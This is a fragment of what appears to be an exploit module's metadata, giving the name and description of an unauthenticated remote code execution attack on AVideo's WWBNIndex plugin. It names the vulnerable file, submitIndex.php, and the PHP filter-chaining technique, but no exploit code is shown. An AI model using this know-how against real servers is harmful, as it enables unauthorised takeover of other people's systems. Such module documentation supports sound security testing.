‘Name’ => ‘AVideo WWBNIndex Plugin Unauthenticated RCE’,
‘Description’ => %q{
This module exploits an unauthenticated remote code execution (RCE) vulnerability
in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the
`submitIndex.php` file, where user-supplied input is passed directly to the `require()`
function without proper sanitization. By exploiting this, an attacker can leverage the
PHP filter chaining technique to execute arbitrary PHP code on the server. This allows
for the execution of commands and control over the affected system. The exploit is
particularly dangerous because it does not require authentication, making it possible
for any remote attacker to exploit this vulnerability.
